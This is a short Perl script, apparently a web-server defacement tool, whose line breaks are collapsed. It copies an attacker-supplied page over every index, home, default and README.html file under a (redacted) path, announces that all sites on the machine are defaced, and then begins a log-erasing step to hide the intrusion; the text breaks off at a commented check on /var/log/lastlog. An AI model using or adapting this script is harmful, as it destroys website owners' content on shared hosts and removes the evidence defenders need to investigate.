#!/usr/bin/perluse strict;my $index = $ARGV[0];if ($ARGV[0]){ if( -e $index ) { system "echo -e \"\033[01;34mStarted xxxxxxxxx [ll Ok !!\033[01;37m\"\n"; system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n"; system "find xxxxxxxxx -name \"index*\" -exec cp $index {} \\;"; system "find xxxxxxxxx -name \"README.html\" -exec cp $index {} \\;"; system "find xxxxxxxxx -name \"home*\" -exec cp $index {} \\;"; system "find xxxxxxxxx -name \"default*\" -exec cp $index {} \\;"; system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n"; system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n"; system "echo -e \"\\033[01;37mCleaning up logs ...\"\n"; system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n"; # if( -e "/var/log/lastlog" ).................